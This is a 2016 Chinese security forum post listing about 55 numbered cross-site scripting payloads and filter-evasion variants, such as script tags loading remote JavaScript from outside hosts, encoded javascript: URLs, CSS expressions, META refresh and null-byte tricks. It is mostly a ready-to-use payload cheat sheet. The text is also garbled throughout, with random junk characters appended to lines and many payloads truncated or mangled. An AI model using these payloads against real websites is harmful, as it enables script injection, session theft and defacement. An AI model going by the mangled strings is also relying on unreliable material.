找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2579|回复: 0
打印 上一主题 下一主题

XSS攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2016-4-28 10:06:15 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
(1)普通的XSS JavaScript注入
' d, |+ _# b9 n* S, W7 L! S" f
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>8 ~) G: V8 y% M8 t+ @9 {# M
(99)另类弹框
4 o# c' `; m% ]( s8 P( H2 v( ~* E
<q/oncut=alert()>1
$ ~+ u8 j+ P) P) V<s/onclick=alert()>b/ z! M2 Y; k& H7 }" E
<XSS=" onclick="alert(1)//">clickme</SSX=">
5 l# |2 n0 a' S' `; Z7 H <zzz onclick=alert`1`>clickme</zzz>
1 `- V* A% ?+ z! S: \8 \# C6 O <a onclick=alert`1`>clickme</a>/ c( F2 e( h6 N' n. n/ l
<a=">clickme</a=">
8 w1 f" }1 ?' C  W% S<a=">clickme</a>. O; }* s- P/ e: l0 M. ~" m8 ]0 E/ r
<z=">clickme</z=">
* c" B, e& X9 H<z onclick=alert`1`>clickme</z>! ]# |( v$ q- I; ?* }

6 j- V1 O: k8 l7 r- w9 M7 k* r(2)IMG标签XSS使用JavaScript命令1 Y; B* S7 w& k: d# T, M  Y2 x* j
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>% @) f: Q5 m" q

' B7 j# e' b9 b* U
(3)IMG标签无分号无引号( u% w( b0 Z5 K6 {0 U5 ^
<IMG SRC=javascript:alert(‘XSS’)>& G; x' ]+ X% x! ?
7 R) C7 \, l. h& y- g7 Z( Q4 s
(4)IMG标签大小写不敏感' z! e0 A8 n8 n  x5 M, s; v+ z
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>1 n6 n- z( ?$ K
% z0 v% X) N6 n9 g) S; z9 k
(5)HTML编码(必须有分号)
5 S& T/ g$ @/ m( K- v$ F
<IMG SRC=javascript:alert(“XSS”)>
& @1 M/ r1 _: y, l/ N

6 \" a5 n2 t. u5 z) d
(6)修正缺陷IMG标签
2 |7 R+ b8 o, `7 i
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
( Q. L# ~, w; I4 G- E9 R/ E
& v+ O' \5 M! X# Z: |: l
(7)formCharCode标签(计算器)( z  J5 B6 |9 |
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
; X- P' y6 U! f7 H
7 p- ~2 @0 W, _
(8)UTF-8的Unicode编码(计算器)/ F3 I/ j. K% H( K1 ?7 b1 `
<IMG SRC=jav..省略..S')>( R/ N/ B: p  T! q1 l8 ]
% ]: H' E+ Z- y% d# k9 A
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)# P, w! l7 ]* E
<IMG SRC=jav..省略..S')>  \! N  X5 Q. H4 _! @
, A+ [& y( u( I$ |) D3 K
(10)十六进制编码也是没有分号(计算器)6 p4 g/ c: {' p- u5 t
<IMG SRC=\'#\'" /span>9 S/ y  X) h: N8 V; U( ?
9 x! Y" `& x, q! m4 _3 {' e/ m6 Z
(11)嵌入式标签,将Javascript分开5 ]& j: M( {/ `6 B- Y: F) H
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
, m9 @! r9 x. j7 o; ?8 Q' j  U+ }+ K3 ^  l% A9 b
(12)嵌入式编码标签,将Javascript分开) g! q# W9 d, X! W7 z) e( V
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
; O2 E$ X2 E; a- }1 b& h- I- h' Y5 v, q0 Z+ O% E/ D
(13)嵌入式换行符
3 N% F* D! D6 N9 N<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
7 G$ s4 ]  r# |( {4 D# [
. C( @- Q: J  Z. l6 L(14)嵌入式回车& i1 e- D% J) P# y
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
% o7 U; |8 s, J, Q% S9 Q$ d) [$ [  A  k
* v& ?: [8 u6 f1 \! }/ d$ a  Z& y(15)嵌入式多行注入JavaScript,这是XSS极端的例子8 [8 d+ C1 U& L5 Z3 S) G
<IMG SRC=\'#\'" /span>2 u) d, `0 r: y+ z0 J

4 L# }4 ~. L( k9 X(16)解决限制字符(要求同页面)/ ^6 E& z) t5 L4 P
<script>z=’document.’</script>) W: e% l, _2 Y
<script>z=z+’write(“‘</script>
, V2 |. g% V% M3 v& Z- M" E<script>z=z+’<script’</script>
+ Z/ ?4 S9 U5 i" t, J  G' E4 @<script>z=z+’ src=ht’</script>0 _0 S3 t4 V  O5 V2 K9 U$ X+ F
<script>z=z+’tp://ww’</script>
" T# _% p3 {' ~3 w# `) W( _<script>z=z+’w.shell’</script>( N" b9 E, P8 }& u
<script>z=z+’.net/1.’</script>
' i8 m5 x/ d( f3 ~, l6 Z<script>z=z+’js></sc’</script>
; d; g( m7 _! N. T! l$ y<script>z=z+’ript>”)’</script>
* v3 J+ Y. f$ U  J  }<script>eval_r(z)</script>
" v6 J6 J% P* H4 r& a9 p' y' u% ^& B
(17)空字符* T% P2 B5 f7 w. Q: }1 z
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out9 o% {. L, E' Z3 O+ s, R
0 ^# w- P9 Y) T) G( \# }% L
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
# w" G; j$ S2 @1 v+ N# sperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
! }, C2 {* f1 `- O& k
4 g5 L/ t7 H# W4 {# P! C" h(19)Spaces和meta前的IMG标签
7 c; T7 g- o) N" }, K<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>
! i+ \( ]1 O9 {. |5 J, l0 O+ ^0 W7 h, l- Q9 Q- P- n
(20)Non-alpha-non-digit XSS
  i  P5 j; v% d, m9 Y! d<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
% V! F6 F  J  E# A3 q# A0 i
8 S0 z0 T% f6 N4 k) m(21)Non-alpha-non-digit XSS to 23 b& P5 F2 R/ o  b8 P3 i; T
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>: E% J, L$ t0 p% L& t! f& T4 w* E
" G1 G" v/ Q/ ?7 i
(22)Non-alpha-non-digit XSS to 3
  R# S1 A" \" I$ @5 J<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>+ h( Q3 ~. O* N5 s/ b

8 {- c* e2 t& e(23)双开括号' }0 P$ U5 v" ^" U! x' r# O5 C5 e
<<SCRIPT>alert(“XSS”);//<</SCRIPT>  K. p2 ~* p* n2 a8 H5 k3 w0 U

  E$ r- t) F: a; v- X(24)无结束脚本标记(仅火狐等浏览器)
( D2 N" Z# R- _$ A2 D% E# j$ _<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>: \$ ^$ K' y% u
' R3 ^  E+ O4 c0 g; d% V
(25)无结束脚本标记2
  j& c1 o8 Z8 M<SCRIPT SRC=//3w.org/XSS/xss.js>% ~# G4 \2 b' A7 e

% Y! }5 @: m+ q4 L6 ]4 I(26)半开的HTML/JavaScript XSS
; n6 A, R) U% a% k<IMG SRC=\'#\'" /span>) V- O( {/ s& F+ M' N, Y, B

% |$ p+ S+ Z: R( |! @" O(27)双开角括号5 q8 }3 B: I) R9 c( Y  f' c
<iframe src=http://3w.org/XSS.html <3 c3 }4 n3 F' m; L: q: F
- J8 g- ~" }( K
(28)无单引号 双引号 分号; u3 ^' A' u* M4 a
<SCRIPT>a=/XSS/
3 \2 |0 P! S, ^7 L2 K8 Oalert(a.source)</SCRIPT>4 M1 {% {0 t6 E- G* C

% }6 B1 ~- M# p(29)换码过滤的JavaScript
7 R9 K8 v: g) e$ z( n\”;alert(‘XSS’);//2 M6 @2 o, `" c4 j9 F( ~( ?
4 E7 |* [% H" e' a; ?& W
(30)结束Title标签+ W. o: [3 t# Q6 s! @4 |9 n
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
+ K# m9 E  @; I# G. a7 h: O' X) r
(31)Input Image
' ~, {' Y+ H+ {$ K& j2 f1 y! e" n<INPUT SRC=\'#\'" /span>
! c3 @4 l. ]# c1 U
+ O8 Q% H4 t) T" L% g3 u(32)BODY Image6 U9 |7 u! P3 j, ^. S
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
/ e+ M2 Z# U/ b
6 X" D9 f/ i$ F  B4 M(33)BODY标签' i* D$ O; Y2 F2 ?8 l0 b3 [6 d
<BODY(‘XSS’)>
! E! c- @  F) g* h5 R3 {1 C
, V0 o' Y6 b& }" ?" M1 ?: U8 c  m(34)IMG Dynsrc
/ p0 H8 W  [: c3 f/ Y1 m7 x<IMG DYNSRC=\'#\'" /span>) n- a4 i+ v4 }1 _- d
2 S# g  q! i2 O8 p8 h
(35)IMG Lowsrc
/ l6 b0 a: Q# L<IMG LOWSRC=\'#\'" /span>6 {3 d$ a/ k" U8 w
+ k" B& J3 I+ ~3 ~; o+ q2 \
(36)BGSOUND
, D8 S7 @, [: S: h& k<BGSOUND SRC=\'#\'" /span>
+ z2 A- T  m, j; \
9 K7 C, w8 G# C1 t/ M(37)STYLE sheet% u! h" ^- R# |2 U( T, s" T+ i1 ~
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>6 x( X: H$ w& O

8 ~; [4 C  t* b+ N' r(38)远程样式表% J/ d% c% S, K  T8 D
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
% U. f/ k; `; A0 r0 I
3 H* y) ]9 G) X5 z( K(39)List-style-image(列表式)
2 y: y& i( g! A9 A% u6 I( u<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
6 g% Y4 ?$ M+ l/ A7 d4 [# m+ D* e# c3 Z0 N3 T
(40)IMG VBscript' }# Q! f% ?- w! D& m4 Q# h+ c) W7 K
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS$ d" i7 \4 t7 |+ k" k

5 E# D8 G7 N8 Y& |- s5 [, Y, ^(41)META链接url$ u- D1 u9 a) y3 t/ L* D) f
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>: C8 L% `+ ~+ I, G3 o
0 t; ]1 f0 `$ K! ]  w
(42)Iframe+ G; b7 Y1 z" M4 z  B  A
<IFRAME SRC=\'#\'" /IFRAME>- A1 J- J1 d9 X7 T1 r( \$ e

5 x! @2 D7 `8 ~! J$ S) U; w(43)Frame
( ~/ [( n$ z4 \/ ]+ }<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>1 ~' G/ m  Q: v

5 o- s7 e5 V9 }2 d# B(44)Table
* Z" L4 C; r1 O+ b% N<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
! i( d* p3 v* W6 e9 ^5 b* c6 ?+ C$ i/ G! X) M, ^
(45)TD
0 A5 p( o9 x; m+ F& b1 {( U<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
7 p5 U0 J5 S4 j; |7 u' e
, F2 l& G7 r+ q(46)DIV background-image
) k: K4 Q1 L: E: V" p2 J: r<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>8 a' z7 |* h4 K& L9 j
& ^9 r' n; h% J. q. \0 \
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
$ k7 |: s3 F0 X1 o<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>! w7 z1 a4 h* j  K, h. g
- \& ]% g$ l/ R
(48)DIV expression
* j2 u& T: Q& ^, ~<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
4 H( R- c- u  ~
: X- l$ F( b# j4 y% f5 s(49)STYLE属性分拆表达
( x  {- c3 e3 b8 k- i/ i, M( }<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>! g; a5 u0 W% f7 t4 M2 p. S
/ |' H! p: s: E4 ?/ u
(50)匿名STYLE(组成:开角号和一个字母开头)9 I1 j. W% Q$ {1 d3 x! C: i+ _" r* q7 p
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
" ?! P5 d. V/ ^' {/ s  [$ J0 \5 O/ S$ J- G/ a' ]
(51)STYLE background-image% {( |+ C9 t0 B* F5 S+ @7 b# A
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
" t5 K, J: A: _. s7 a" ^0 H. z) e( j6 ~% Z/ g2 ?
(52)IMG STYLE方式
$ M! C4 z6 y1 a1 g5 |; Fexppression(alert(“XSS”))’>
( O* y# ]' U8 Z$ k. m1 g$ s) Y. D
(53)STYLE background
5 h" ~7 J$ f7 I<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
9 y! w7 f# I& ]$ ~4 _0 a' S9 ~9 E
(54)BASE
6 W2 [& _  i$ j4 F<BASE HREF=”javascript:alert(‘XSS’);//”>' T- |8 {+ e% F3 }* h6 X% B7 |
! s; k1 ^. r+ x6 n1 H$ ^2 D! Y
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
" k% _/ |: I0 l% ?  P( I8 K% P3 \<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>

- q# |" x/ q. E4 o% S" Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表